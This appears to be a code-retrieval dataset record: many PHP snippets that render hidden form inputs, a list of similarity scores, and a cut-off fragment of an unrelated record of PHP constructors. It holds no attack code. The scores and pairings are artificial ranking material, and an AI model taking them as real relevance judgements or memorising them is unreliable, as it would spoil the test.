InputHiddenBox($VariableName,$default)\t{\n\t\t\t$res=\"\";\n\t\t\t$res.=\"<input type=\\\"hidden\\\" name=\\\"$VariableName\\\" id=\\\"$VariableName\\\" value=\\\"$default\\\">\";\n\t\t\treturn $res;\n\t}", "function print_hidden_settings_fields ()\n\t\t{\n\t\t\t$options = get_option('hs_settings');\n\n\t\t\t$hs_installed = ( isset($options['hs_installed']) ? $options['hs_installed'] : 1 );\n\t\t\t$hs_version = ( isset($options['hs_version']) ? $options['hs_version'] : HUBSPOT_TRACKING_CODE_PLUGIN_VERSION );\n\n\t\t\tprintf(\n\t\t\t\t\t'<input id=\"hs_installed\" type=\"hidden\" name=\"hs_settings[hs_installed]\" value=\"%d\"/>',\n\t\t\t\t\t$hs_installed\n\t\t\t);\n\n\t\t\tprintf(\n\t\t\t\t\t'<input id=\"hs_version\" type=\"hidden\" name=\"hs_settings[hs_version]\" value=\"%s\"/>',\n\t\t\t\t\t$hs_version\n\t\t\t);\n\t\t}", "public function display() {\n\t\techo \"<input id='\" . esc_attr( $this->setting_id ) . \"' type='hidden' name='\" . esc_attr( $this->setting_id ) . \"' value='\" . esc_attr( wp_json_encode( $this->get(), JSON_UNESCAPED_UNICODE ) ) . \"'>\";\n\t}", "function get_tag()\n {\n\t $id = 'id=\"'.$this->OP_[id]->get().'\"';\n\t $name='name=\"'.$this->OP_[name]->get().'\"';\n\t $value='value=\"'.$this->OP_[value]->get().'\"';\n\t $type='type=\"hidden\"';\n\t $my_value = \"<input $id $name $type $value>\";\n\t return $my_value;\n }", "public static function hidden_field_tag($name, $value = null, $html_attributes = array())\n {\n return self::text_field_tag($name, $value, array_merge(array('type' => 'hidden'), $html_attributes));\n }", "protected function buildHidden($row) {\n\t\t$elem = sprintf(\"<input type='hidden' name='%s' value='%s'>\",$row['Field'],$row['values']);\n\t\treturn $elem;\n\t}", "public function hidden ($name, $value, $opts=[])\n {\n $input = new \\SimpleXMLElement('<input/>');\n $input->addAttribute('type', 'hidden');\n $input->addAttribute('id', $name);\n $input->addAttribute('name', $name);\n $input->addAttribute('value', $value);\n return $this->return_value($input, $opts);\n }", "public static function convert_hidden_field() {\n\n\t\t// Create a new Hidden field.\n\t\tself::$field = new GF_Field_Hidden();\n\n\t\t// Add standard properties.\n\t\tself::add_standard_properties();\n\n\t}", "public function transactionFormGetHiddenFields ();", "function acf_get_hidden_input($attrs = array())\n{\n}", "private function _createHiddenIdField()\n {\n $idField = new Zend_Form_Element_Hidden('id');\n $idField->removeDecorator('DtDdWrapper')\n ->removeDecorator('HtmlTag')\n ->removeDecorator('Label');\n\n return $idField;\n }", "public function html()\n {\n return ($this->isEncrypted()) ? $this->encryptedField() : $this->regularField();\n }", "function addHiddenField( &$editpage, &$output ) {\r\n\t\t\r\n\t\t$output->addHTML(\tHtml::input( 'egHidden', '', 'hidden', array(\r\n\t\t\t\t\t\t\t\t'id' => 'egHidden'\r\n\t\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t\t)\r\n\t\t\t\t\t\t);\r\n\t\t\r\n\t\treturn true;\r\n\t}", "function dumpFormItems()\r\n {\r\n if($this->_onclick != null)\r\n {\r\n $hiddenwrapperfield = $this->readJSWrapperHiddenFieldName();\r\n echo \"<input type=\\\"hidden\\\" id=\\\"$hiddenwrapperfield\\\" name=\\\"$hiddenwrapperfield\\\" value=\\\"\\\" />\";\r\n }\r\n }", "function dumpFormItems()\r\n {\r\n if($this->_onclick != null)\r\n {\r\n $hiddenwrapperfield = $this->readJSWrapperHiddenFieldName();\r\n echo \"<input type=\\\"hidden\\\" id=\\\"$hiddenwrapperfield\\\" name=\\\"$hiddenwrapperfield\\\" value=\\\"\\\" />\";\r\n }\r\n }", "public function __toString()\n {\n $this->appendChild((new Hidden('_method', $this->method))->render());\n\n if (function_exists('csrf_token')) {\n $this->appendChild((new Hidden('_token', csrf_token()))->render());\n }\n\n return str_replace('</form>', '', $this->render());\n }", "function MakeInputRowHidden($id, $name, $title, $value)\n{\n echo <<<EOT\n<div class=\"form-group\" hidden>\n <label for=\"$id\">$title</label>\n <input id=\"$id\" type=\"text\" name=\"$name\" class=\"form-control\" value=\"$value\" novalidate>\n</div>\nEOT;\n}", "public function hidden(string $name, string $value): FormHelper\n {\n $this->html .= \"<input type=\\\"hidden\\\" name=\\\"${name}\\\" value=\\\"${value}\\\">\";\n return $this;\n }", "function HiddenList($name,$data) {\n\n $content = \"<input type=hidden name=$name value=\\\"\".addslashes(serialize($data)).\"\\\">\";\n\n return $content;\n }", "public function create_field() {\n\n return sprintf(\n '<input type=\"hidden\" id=\"%s\" name=\"%s\" value=\"%s\" />',\n esc_attr( $this->action ),\n esc_attr( $this->action ),\n esc_attr( (string) wp_create_nonce( $this->action ) )\n );\n\n }", "function _field_readonly($fval) \n {\n $fval = (empty($fval) && !empty($this->opts))? $this->opts : $fval;\n\n $res = sprintf(\"<span class=\\\"%s\\\">%s</span>\\n\", \n (isset($this->attribs['class']))? $this->attribs['class'] : $this->element_class,\n $this->_htmlentities($fval));\n $res .= $this->_field_hidden($fval);\n return $res;\n }", "public function getHidden()\n\t{\n\t\treturn $this->hidden;\n\t}", "public function addHiddenField($name,$value) {\n $this->formLines[] = '<input type=\"hidden\" name=\"'.$name.'\" value=\"'.$value.'\">';\n }", "public function getHidden(){\n return $this->_hidden;\n }", "protected function generateHidden($options, $currentValue)\n {\n $value = is_null($currentValue) ? $options['value'] : $currentValue;\n\n unset($options[\"id\"]);\n unset($options[\"value\"]);\n\n if (!array_key_exists(\"type\", $options)) {\n $options[\"type\"] = \"hidden\";\n }\n\n if (is_array($value)) {\n $returnHtml = \"\";\n foreach ($value as $key => $val) {\n $returnHtml .= sprintf('<input %s value=\"%s\">', $this->arrayToHtmlAttributes($options), $val);\n }\n return $returnHtml;\n } else {\n return sprintf('<input %s value=\"%s\">', $this->arrayToHtmlAttributes($options), $value);\n }\n }", "public function getHidden() {\n\t\treturn $this->hidden;\n\t}", "public function getHidden() {\n\t\treturn $this->hidden;\n\t}", "public function getInput()\n\t{\n\t\t$html = '<div>';\n\t\t$html .= $this->getMegaSettings();\n\t\t$html .= '<input type=\"hidden\" name=\"' . $this->name . '\" id=\"' . $this->id . '\" value=\"' . $this->value . '\">';\n\t\t$html .= '</div>';\n\n\t\treturn $html;\n\t}", "protected function renderHiddenSecuredReferrerField() {}", "function hide($record=\"\")\n {\n $languages = $this->getLanguages();\n /* hidden values */\n for ($i = 0; $i < sizeof($languages); $i++)\n {\n $result .= '<input type=\"hidden\" name=\"'.$this->formName().'['.$languages[$i].']\"'.\n ' value=\"'.htmlspecialchars($record[$this->fieldName()][$languages[$i]]).'\">';\n }\n return $result;\n }", "public function hidden($name, $value = NULL, $attr = array())\n\t{\n\t\t$attr['type'] = 'hidden';\n\t\t\n\t\treturn $this->input($name, $value, $attr);\n\t}", "public static function HiddenField($data, $col) {\n\t\treturn \"<input type='hidden' name='\".$data->getUniqueIdentifier().\"_{$col}' value='{$data->$col}' />\";\n\t}", "public function hiddenToken() {\n return $this->request->createHiddenToken() . PHP_EOL;\n }", "function _renderHidden($element) {\n $html = $this->render($element->getName());\n return $html;\n }", "public function getHidden()\n {\n return $this->hidden;\n }", "public function getHidden()\n {\n return $this->hidden;\n }", "public function getHidden()\n {\n return $this->hidden;\n }", "public function getHidden()\n {\n return $this->hidden;\n }", "public function &draw_show_hide_button($in_tag, $in_value = false)\n {\n $text = \"\";\n\n if (!$this->isShowing($in_tag)) {\n $text .= '<TD>';\n //$text .= '<input class=\"reportico-maintain-tab-menu-but-unsel reportico-submit\" type=\"submit\" name=\"submit_'.$in_tag.\"_SHOW\".'\" value=\"'.$in_value.'\">';\n $text .= '<input size=\"1\" style=\"visibility:hidden\" class\"reportico-submit\" type=\"submit\" name=\"unshown_' . $in_tag . '\" value=\"\">';\n $text .= '</TD>';\n } else {\n $text .= '<TD>';\n //$text .= '<input class=\"reportico-maintain-tab-menu-but-sel\" type=\"submit\" name=\"submit_'.$in_tag.\"_SHOW\".'\" value=\"'.$in_value.'\">';\n $text .= '<input size=\"1\" style=\"visibility:hidden\" class\"reportico-submit\" type=\"submit\" name=\"shown_' . $in_tag . '\" value=\"\">';\n $text .= '</TD>';\n }\n return $text;\n\n }", "public function getCsrfField(): string\n {\n return '<input type=\"hidden\" name=\"_token\" value=\"' . $this->session->getToken() . '\">';\n }", "public function renderHiddenFields($actionclass = null)\n {\n return FormRender::renderHiddenFields($this->queue, $this->forminputs, $actionclass);\n }", "public function hidden($name, $value = null, $options = array())\n {\n return $this->form->input('hidden', $name, $value, $options);\n }", "function hidden_data()\n\t\t{\n\t\t\t\n\t\t\t$output = '\t<div id=\"ace_hidden_data\" class=\"ace_hidden\">';\n\t\t\t\n\t\t\t$nonce_reset = \t\twp_create_nonce ('ace_nonce_reset_backend');\n\t\t\t$output .= \t\t\twp_referer_field( false );\t\t\t\n\t\t\t$output .= '\t\t<input type=\"hidden\" name=\"ace-nonce-reset\" value=\"'.$nonce_reset.'\" />';\n\t\t\t$output .= '\t\t<input type=\"hidden\" name=\"resetaction\" value=\"ace_ajax_reset_options_page\" />';\n\t\t\t$output .= '\t\t<input type=\"hidden\" name=\"admin_ajax_url\" value=\"'.admin_url(\"admin-ajax.php\").'\" />';\n\t\t\t$output .= '\t\t<input type=\"hidden\" name=\"ace_options_prefix\" value=\"'.$this->ace_superobject->option_prefix.'\" />';\n\t\t\t\n\t\t\t//if we are viewing a page and not a meta box\n\t\t\tif($this->context == 'options_page')\n\t\t\t{\n\t\t\t\t$nonce\t= \t\t\twp_create_nonce ('ace_nonce_save_backend');\n\t\t\t $output .= '\t\t<input type=\"hidden\" name=\"ace-nonce\" value=\"'.$nonce.'\" />';\n\t\t\t\t$output .= '\t\t<input type=\"hidden\" name=\"action\" value=\"ace_ajax_save_options_page\" />';\n\t\t\t\t$output .= '\t\t<input type=\"hidden\" name=\"ace_options_page_slug\" value=\"'.$this->ace_superobject->page_slug.'\" />';\n\t\t\t}\n\t\t\t//if the code was rendered for a meta box\n\t\t\tif($this->context == 'metabox')\n\t\t\t{\n\t\t\t\t$nonce\t= \t\t\twp_create_nonce ('ace_nonce_save_metabox');\n\t\t\t $output .= '\t\t<input type=\"hidden\" name=\"ace-nonce\" value=\"'.$nonce.'\" />';\n\t\t\t\t$output .= '\t\t<input type=\"hidden\" name=\"meta_active\" value=\"true\" />';\n\t\t\t}\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t$output .= '\t</div>';\n\t\t\t\n\t\t\treturn $output;\n\t\t}", "private function getJsHtml()\n {\n $disabledAttr = $this->getData('disabled') ? 'disabled' : '';\n\n return <<<HTML\n<input type=\"hidden\"\n id=\"{$this->getHtmlId()}\"\n class=\"{$this->getData('class')}\"\n name=\"{$this->getName()}\"\n {$disabledAttr}\n value=\"{$this->getValue()}\"/>\n<script>\n (function() {\n var radios = document.querySelectorAll(\"input[type='radio'][name='{$this->getName()}']\");\n var hidden = document.getElementById(\"{$this->getHtmlId()}\");\n \n for (var i = 0; i < radios.length; i++) {\n if (radios[i].type === \"radio\") {\n radios[i].name += \"[pseudo]\";\n \n radios[i].disabled = hidden.disabled;\n\n // Keep the hidden input value in sync with the radio inputs. We also create a change event for the\n // hidden input because core functionality might listen for it (and the original radio inputs will not\n // report the correct ID).\n //\n // @see module-backend/view/adminhtml/templates/system/shipping/applicable_country.phtml\n radios[i].addEventListener(\"change\", function (event) {\n event.stopPropagation();\n hidden.value = event.target.value;\n hidden.disabled = event.target.disabled;\n\n var newEvent = document.createEvent(\"HTMLEvents\");\n newEvent.initEvent(\"change\", false, true);\n hidden.dispatchEvent(newEvent);\n });\n }\n }\n })();\n</script>\nHTML;\n }", "public static function inputHidden($model,$attribute,$properties=array()) {\n return self::inputTag('hidden', $model, $attribute,$properties); \n }", "public function setHidden($value = TRUE);", "function object_input_hidden_tag($object, $method, $options = array(), $default_value = null)\r\n{\r\n $options = _parse_attributes($options);\r\n\r\n $value = _get_object_value($object, $method, $default_value);\r\n\r\n return input_hidden_tag(_convert_method_to_name($method, $options), $value, $options);\r\n}", "public function getHTMLInput($name = null)\n\t{\n\t\tif (!$name)\n\t\t{\n\t\t\t$name = $this->getVarName();\n\t\t}\n\n\t\treturn '<input type=\"hidden\" name=\"'.htmlspecialchars($name).'\" value=\"'.htmlspecialchars($this->getHashUnused()).'\" />';\n\t}", "public function display()\n {\n $output = \"\";\n\n // Ouverture\n /// ID HTML\n $openId = $this->getAttr('container_id');\n /// Classes HTML\n $openClass = [];\n $openClass[] = 'tiFyForm-FieldContainer';\n $openClass[] = 'tiFyForm-FieldContainer--' . $this->getType();\n $openClass[] = 'tiFyForm-FieldContainer--' . $this->getSlug();\n if ($this->getErrors()) :\n $openClass[] = 'tiFyForm-FieldContainer--error';\n endif;\n $openClass[] = $this->getAttr('container_class');\n if ($this->getAttr('required')) :\n $openClass[] = 'tiFyForm-FieldContainer--required';\n endif;\n $output .= $this->form()\n ->factory()\n ->fieldOpen($this, $openId, join(' ', $openClass));\n\n // Contenu du champ\n $output .= $this->type()->_display();\n\n // Fermeture\n $output .= $this->form()->factory()->fieldClose($this);\n\n return $output;\n }", "function AttribHidden( $id, $value, $name, $site )\n\t{\n\t\tswitch ($site) \n\t\t{\n\t\t\tcase \"frontend\":\n\t\t\t\t$success = '<input type=\"hidden\" value=\"'.$value.'\" name=\"'.$name.'\" />';\n\t\t\t break;\n\t\t\tcase \"admin\": \n\t\t\tdefault:\t\n\t\t\t\t$success = '<input type=\"text\" value=\"'.$value.'\" name=\"'.$name.'\" />';\n\t\t\t break;\t\n\t\t}\n\t\t\t\n\t\treturn $success;\n\t}", "protected function getHidden()\n {\n return $this->hidden;\n }", "public function getHidden()\n {\n return isset($this->hidden) ? $this->hidden : false;\n }", "public function hidden($name, $value = '', $attributes = '', $recursing = false)\n {\n static $hiddenTag;\n\n if (is_object($value)) { // $_POST & Db value\n $value = $this->getRowValue($value, $name); \n }\n if ($recursing === false) {\n $hiddenTag = \"\\n\";\n }\n if (is_array($name)) {\n foreach ($name as $key => $val) {\n $this->hidden($key, $val, $attributes, true);\n }\n return $hiddenTag;\n }\n if (! is_array($value)) {\n $hiddenTag .= '<input type=\"hidden\" name=\"' . $name . '\" value=\"'. $this->prep($value, $name) .'\" '. trim($attributes) . '/>' . \"\\n\";\n } else {\n foreach ($value as $k => $v) {\n $k = (is_int($k)) ? '' : $k;\n $this->hidden($name.'['.$k.']', $v, '', true);\n }\n }\n return $hiddenTag;\n }", "protected function addSecuredHiddenFieldsRenderedToViewHelperVariableContainer() {}", "public function getTokenInput()\n {\n if ($this->Token) {\n return '<input type=\"hidden\" name=\"'.$this->TokenInputName.'\" value=\"' . $this->Token . '\" />';\n }\n return false;\n }", "function build_data_table_label_hidden($caption, $key)\n{\n\t$value = $this->get_data_value($key);\n\t$ele = $value.' ';\n\t$ele .= $this->build_html_input_hidden($key, $value);\n\t$text = $this->build_form_table_line($caption, $ele);\n\treturn $text;\n}", "public function hiddenField($name)\n {\n return new HiddenField($this, $name);\n }", "public function hidden($name, $value = NULL, array $attributes = NULL) {\n $this->load_values($name, $value, $attributes);\n\t\treturn Kohana_Form::hidden($name, $value, $attributes);\n\t}", "function field_close() {\n\t\t\t\n\t\t\treturn $this->form['markup'] === 'xhtml' ? ' />' : '>';\n\t\t\t\n\t}", "public function getHiddenFlag() {}", "protected function createInputHidden($config)\n {\n $view = '';\n if (!empty($config['property'])) {\n $tmpl = $this->getOptionalTemplate(\n $config,\n ARCH_PATH.'/theme/form/input/hidden.php'\n );\n \n $config['name'] = $this->getDefaultName($config);\n \n if (!isset($config['value'])) {\n $config['value'] = '';\n if (isset($this->record[$config['property']])) {\n $config['value'] = $this->record[$config['property']];\n }\n }\n $view = new \\Arch\\Registry\\View($tmpl, $config);\n }\n return $view;\n }", "public function getInputHtml($name, $value)\n\t{\n\t\t$input = '<input type=\"hidden\" name=\"'.$name.'\" value=\"\">';\n\n\t\t$tableHtml = $this->_getInputHtml($name, $value, false);\n\n\t\tif ($tableHtml)\n\t\t{\n\t\t\t$input .= $tableHtml;\n\t\t}\n\n\t\treturn $input;\n\t}" ]
[ "0.8118983", "0.8089612", "0.7873129", "0.78446454", "0.76776445", "0.7639567", "0.7532112", "0.7295928", "0.72480154", "0.7223516", "0.7213835", "0.7205694", "0.7189102", "0.71881354", "0.7151284", "0.7097949", "0.7091797", "0.70822203", "0.7075831", "0.70622814", "0.7053664", "0.7028643", "0.70216244", "0.69628066", "0.6927101", "0.68320614", "0.68301827", "0.68127656", "0.6763633", "0.6757158", "0.67179525", "0.6631196", "0.66244054", "0.66078794", "0.65536726", "0.6529422", "0.6499855", "0.6484451", "0.64841264", "0.64303714", "0.64263177", "0.64233595", "0.64115536", "0.63794065", "0.63668394", "0.6348121", "0.63362503", "0.6331515", "0.63149583", "0.6304163", "0.6299799", "0.6296528", "0.62872374", "0.62872374", "0.6286669", "0.62284034", "0.6224324", "0.6184648", "0.6183978", "0.61784136", "0.6177068", "0.61753213", "0.6124746", "0.612186", "0.6121177", "0.6121177", "0.61161005", "0.61131525", "0.6105432", "0.6078567", "0.6075466", "0.60641164", "0.6063611", "0.6059566", "0.6059566", "0.6059566", "0.6059566", "0.60584545", "0.6041407", "0.60410917", "0.60297745", "0.60284615", "0.6022464", "0.6016705", "0.60003275", "0.5997457", "0.59835696", "0.5978161", "0.5944299", "0.59380955", "0.593231", "0.59213394", "0.5913096", "0.59057605", "0.5903513", "0.5901154", "0.58564466", "0.5844123", "0.5831042", "0.58304965", "0.5827865" ]
0.0
-1
Constructor. Installs XS mod on first run or updates it and sets the root dir.
function __construct($root = '.') { // setting pointer "vars" $this->vars = &$this->_tpldata['.'][0]; // load configuration $this->load_config($root, true); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function __construct(){\n\t\tGLOBAL $parentWork;\n\t\t$this->rootDirectory = $parentWork->rootDirectory;\n\t}", "private static function init(): void\n {\n parent::__install();\n $tmpl = _THEMES_ . \"/\" . _THEME_NAME_ . \"/tpl\";\n $smarty = self::getInstance(Smarty::class);\n $smarty->template_dir = $tmpl;\n $smarty->assign(\"template\", $tmpl);\n Modules::loadModules();\n\n }", "private function initMODX()\n {\n require_once MODX_CORE_PATH . 'model/modx/modx.class.php';\n\n $this->modx = new modX();\n $this->modx->initialize('mgr');\n $this->modx->setLogLevel(modX::LOG_LEVEL_INFO);\n $this->modx->setLogTarget('ECHO');\n $this->modx->getService('error', 'error.modError');\n }", "public function init()\n\t{\n\t\t$this->resolvePackagePath();\n\t\t$this->registerCoreScripts();\n\t\tparent::init();\n\t}", "protected function init()\n {\n $dir = $this->getDir();\n\n if (!file_exists($dir)) {\n mkdir($dir, 0755, true);\n }\n }", "protected function __construct() {\n $this->options = array();\n\n // Populate the magic values\n $this->set('esprit_core', __DIR__);\n\n $pathPieces = explode('/', __DIR__);\n if( count($pathPieces) > 0 )\n unset($pathPieces[count($pathPieces)-1]);\n $root = implode('/', $pathPieces);\n\n $this->set('esprit_root', $root);\n $this->set('esprit_commands', __DIR__ . DIRECTORY_SEPARATOR . 'commands');\n $this->set('esprit_views', __DIR__ . DIRECTORY_SEPARATOR . 'views' );\n $this->set('esprit_data', $root . DIRECTORY_SEPARATOR . 'data');\n }", "public function init()\n {\n chdir($this->context['source_dir']);\n $this->loadConfig();\n $this->context['temp_dir'] = $this->cacheDir(\"upgrades/temp\");\n $this->context['extract_dir'] = $this->context['temp_dir'];\n $this->ensureDir($this->context['temp_dir']);\n $this->context['state_file'] = $this->cacheDir('upgrades/') . self::STATE_FILE;\n $this->context['upgrader_dir'] = dirname(__FILE__);\n $this->loadState();\n $this->context['backup_dir'] = $this->config['upload_dir'] . \"/upgrades/backup/\" . pathinfo(\n $this->context['zip'],\n PATHINFO_FILENAME\n ) . \"-restore\";\n if (isset($this->context['script_mask'])) {\n $this->script_mask &= $this->context['script_mask'];\n }\n if (isset($this->state['extract_dir'])) {\n $this->context['extract_dir'] = $this->state['extract_dir'];\n }\n if (empty($this->context['health_check_path'])) {\n $this->context['health_check_path'] =\n realpath($this->context['extract_dir']) . self::DEFAULT_HEALTHCHECK_PATH;\n }\n $this->context['case_insensitive_fs'] = $this->testFilesystemCaseInsensitive();\n $this->context['versionInfo'] = self::getVersion();\n\n $this->initialized = true;\n }", "public function __construct()\n\t{\n\t\t$this->_sys_path=$GLOBALS['path_to_site'].'/lib/core/api';\n\t}", "public function __construct() {\n // TODO: put here some basic verifications: tmp & photos directories exists and writeable ; install.php ; conf OK !\n }", "public function init()\n {\n parent::init();\n $this->sourcePath = __DIR__ . '/front';\n }", "public function __construct() {\r\n $directoryInfo = new DirectoryInfo(getcwd());\r\n $this->directoryRoot = $directoryInfo->root();\r\n }", "function __construct() {\n\t\t$this->__checkInstall();\n\t\tparent::__construct();\n\t}", "protected function setInitialRootPath() {}", "function __construct()\n\t{\n\t\t// Store module path\n\t\t$this->module_path = dirname(__FILE__);\n\t}", "function __construct()\n\t{\n\t\t// Store module path\n\t\t$this->module_path = dirname(__FILE__);\n }", "public function __construct()\n {\n $this->rootDir = '/tmp';\n }", "public function init () {\n\t\t// you may place code here to customize the module or the application\n\n\t\t// import the module-level models and components\n\t\t$this->setImport(array( //'sitemap.models.*',\n\t\t 'sitemap.extensions.sitemap.*',\n\t\t));\n\t}", "public function __construct()\n {\n // Store module path\n $this->module_path = dirname(__FILE__);\n }", "public function __construct()\n {\n // Store module path\n $this->module_path = dirname(__FILE__);\n }", "public function __construct()\n {\n // Store module path\n $this->module_path = dirname(__FILE__);\n }", "public function __construct()\n {\n // Store module path\n $this->module_path = dirname(__FILE__);\n }", "public function __construct()\n {\n // Store module path\n $this->module_path = dirname(__FILE__);\n }", "public function __construct()\n {\n // Store module path\n $this->module_path = dirname(__FILE__);\n }", "private function register_root_namespace()\n\t{\n\t\t$this->register_namespace_dir('', $this->get_modules_dir());\n\t}", "protected function createExtensionRoot()\n\t{\n\t\t// Run the common create code first\n\t\tparent::createExtensionRoot();\n\n\t\t// If we're updating at this point when there is always going to be an extension_root find the old XML files\n\t\tif ($this->route === 'update')\n\t\t{\n\t\t\t// Create a new installer because findManifest sets stuff; side effects!\n\t\t\t$tmpInstaller = new Installer;\n\n\t\t\t// Look in the extension root\n\t\t\t$tmpInstaller->setPath('source', $this->parent->getPath('extension_root'));\n\n\t\t\tif ($tmpInstaller->findManifest())\n\t\t\t{\n\t\t\t\t$old_manifest = $tmpInstaller->getManifest();\n\t\t\t\t$this->oldFiles = $old_manifest->files;\n\t\t\t}\n\t\t}\n\t}", "protected function initAdminDirectory()\n {\n if (is_dir($this->installPath())) {\n $this->line('<error>' . $this->installPath() . ' directory already exists !</error> ');\n\n return;\n }\n\n $this->makeDir($this->installPath());\n\n $this->makeDir($this->installPath('Controllers'));\n\n $this->createRoutesFile();\n\n $this->createBootstrapFile();\n\n $this->createControllers();\n\n $this->line('<info>Installing huztw-admin!</info>');\n }", "public function init() {\n\t\tglobal $local_domain;\n#DEV\n\t\t$this->local_domain = isset($_GET[\"testing\"]) ? \"Test\" : $local_domain;\n#END\n#PROD\n#\t\t$this->local_domain = $local_domain;\n#END\n\t\t$this->current_domain = $this->local_domain;\n#DEV\n\t\t$components_names = array();\n\t\t$dir = @opendir(\"component\");\n\t\twhile (($filename = readdir($dir)) <> null) {\n\t\t\tif (substr($filename, 0, 1) == \".\") continue;\n\t\t\tif (is_dir(\"component/\".$filename)) array_push($components_names, $filename);\n\t\t}\n\t\tclosedir($dir);\n\t\tforeach ($components_names as $name) $this->createComponent($name);\n\t\t$done = array();\n\t\tforeach ($this->components as $c) $this->initComponent($c, $done);\n#END\n#PROD\n# ##CREATE_COMPONENTS##\n#foreach (self::getOrderedComponentsNames() as $c) $this->components[$c]->init();\n#END\n#SELECTION_TRAVEL\n#global $installing_selection_travel;\n#$installing_selection_travel = @$installing_selection_travel;\n#if (!$installing_selection_travel) $this->components[\"user_management\"]->login(\"\",\"\",\"\");\n#END\n\t\t$this->initRequest();\n\t}", "function __construct(modX & $modx, array $config = array()) {\n $this->modx = &$modx;\n\n $packageName = 'migx';\n $packagepath = $this->findPackagePath($packageName); \n $modelpath = $packagepath . 'model/';\n $prefix = null;\n $this->modx->addPackage($packageName, $modelpath, $prefix);\n\n\n /* allows you to set paths in different environments\n * this allows for easier SVN management of files\n */\n $corePath = $this->modx->getOption('migx.core_path', null, $modx->getOption('core_path') . 'components/migx/');\n $assetsPath = $this->modx->getOption('migx.assets_path', null, $modx->getOption('assets_path') . 'components/migx/');\n $assetsUrl = $this->modx->getOption('migx.assets_url', null, $modx->getOption('assets_url') . 'components/migx/');\n\n $defaultconfig['debugUser'] = '';\n $defaultconfig['corePath'] = $corePath;\n $defaultconfig['modelPath'] = $corePath . 'model/';\n $defaultconfig['processorsPath'] = $corePath . 'processors/';\n $defaultconfig['templatesPath'] = $corePath . 'templates/';\n $defaultconfig['controllersPath'] = $corePath . 'controllers/';\n $defaultconfig['chunksPath'] = $corePath . 'elements/chunks/';\n $defaultconfig['snippetsPath'] = $corePath . 'elements/snippets/';\n $defaultconfig['auto_create_tables'] = true;\n $defaultconfig['baseUrl'] = $assetsUrl;\n $defaultconfig['cssUrl'] = $assetsUrl . 'css/';\n $defaultconfig['jsUrl'] = $assetsUrl . 'js/';\n $defaultconfig['jsPath'] = $assetsPath . 'js/';\n $defaultconfig['connectorUrl'] = $assetsUrl . 'connector.php';\n $defaultconfig['request'] = $_REQUEST;\n\n $this->config = array_merge($defaultconfig, $config);\n\n /* load debugging settings */\n if ($this->modx->getOption('debug', $this->config, false)) {\n error_reporting(E_ALL);\n ini_set('display_errors', true);\n $this->modx->setLogTarget('HTML');\n $this->modx->setLogLevel(modX::LOG_LEVEL_ERROR);\n\n $debugUser = $this->config['debugUser'] == '' ? $this->modx->user->get('username') : 'anonymous';\n $user = $this->modx->getObject('modUser', array('username' => $debugUser));\n if ($user == null) {\n $this->modx->user->set('id', $this->modx->getOption('debugUserId', $this->config, 1));\n $this->modx->user->set('username', $debugUser);\n } else {\n $this->modx->user = $user;\n }\n }\n }", "public static function setUpBeforeClass()\n {\n self::$modx = new modX();\n self::$modx->initialize('mgr');\n }", "public function __construct()\n {\n \tglobal $psp;\n\n \t$this->the_plugin = $psp;\n\t\t\t$this->module_folder = $this->the_plugin->cfg['paths']['plugin_dir_url'] . 'modules/smushit/';\n\n\t\t\t$this->settings = $this->the_plugin->get_theoption( 'psp_smushit' );\n\t\t\t\n\t\t\t$this->init();\n }", "private static function initialLoad() {\n include_once __DIR__ . '/Storange.php';\n Storange::getPathDir('wowframework/');\n include_once __DIR__ . '/exceptions/LoadFiles.php';\n }", "public function run()\n {\n if ($this->no_mods === TRUE) {\n return;\n }\n\n //Define the steamapps folder location\n $this->steamapps_location = $this->root_server_files . DIRECTORY_SEPARATOR . 'steamapps';\n\n // Remove the steamapps folder if it exists\n if (file_exists($this->steamapps_location)) {\n HelperService::delTree($this->steamapps_location);\n }\n //Download Each mod\n foreach ($this->mod_list as $mod) {\n $arg = [$this->steam_cmd, \"+login anonymous\", \"+force_install_dir \" . $this->root_server_files, \"+workshop_download_item 346110 \" . $mod, \"+quit\"];\n isset($this->user_console_controller) ? $console_controller = $this->user_console_controller : $console_controller = NULL;\n HelperService::shell_cmd($arg, $console_controller, \"Downloading mod: \" . $mod);\n }\n\n //Find the steamapps folder post mod download if it did not exist before\n empty($this->steamapps_location) ? $this->findSteamApps() : FALSE;\n\n //Compile the list of mod directories that have been downloaded\n $this->compileModDirectoryList();\n\n //Extract the .z files\n $this->zExtraction();\n\n $this->filesystem = new FileSystem();\n foreach ($this->absolute_path_to_mods as $mod_path) {\n $this->mod_map_names = [];\n $this->mod_meta_data = [];\n $base_mod_path = $mod_path . DIRECTORY_SEPARATOR . 'WindowsNoEditor';\n\n $mod_info_path = $base_mod_path . DIRECTORY_SEPARATOR . 'mod.info';\n $this->parseModInfo($mod_info_path);\n\n $mod_meta_data_path = $base_mod_path . DIRECTORY_SEPARATOR . 'modmeta.info';\n $this->parseModMetaData($mod_meta_data_path);\n\n $mod_path_parts = explode(DIRECTORY_SEPARATOR, $mod_path);\n $mod_id = trim(current(array_reverse($mod_path_parts)));\n $mod_file_location = $base_mod_path . DIRECTORY_SEPARATOR . $mod_id . '.mod';\n $this->compileMod($mod_file_location, $mod_id);\n $this->placeMods($mod_id, $base_mod_path);\n }\n \n }", "protected function init()\n {\n \\ArminVieweg\\Dce\\Utility\\DatabaseUtility::getDatabaseConnection();\n\n $this->fluidTemplate = GeneralUtility::makeInstance('TYPO3\\CMS\\Fluid\\View\\StandaloneView');\n $this->fluidTemplate->setLayoutRootPaths(\n [GeneralUtility::getFileAbsFileName(self::DEFAULT_DIRECTORY_LAYOUTS)]\n );\n $this->fluidTemplate->setPartialRootPaths(\n [GeneralUtility::getFileAbsFileName(self::DEFAULT_DIRECTORY_PARTIALS)]\n );\n }", "protected function initialize() {\n\t\t$this->databasesDir = $this->projectDir . '/var/data/databases';\n\t\t$this->simulatorsDir = $this->projectDir . '/var/data/simulators';\n\t\t$this->publicDir = $this->projectDir . '/' . ($this->getParameter('public_dir') ?? 'public');\n\t\t$this->viewsDir = $this->projectDir . '/templates';\n\t\t$this->pdfFormsDir = $this->projectDir . '/var/data/pdfforms';\n\t}", "public function __construct()\r\n {\r\n $version = $this->version;\r\n // $this->checkUpdates($version);\r\n\r\n $this->path = \\TYPO3\\CMS\\Core\\Utility\\ExtensionManagementUtility::extPath(\"centauri_core\");\r\n $this->loadAll();\r\n }", "public function __construct() 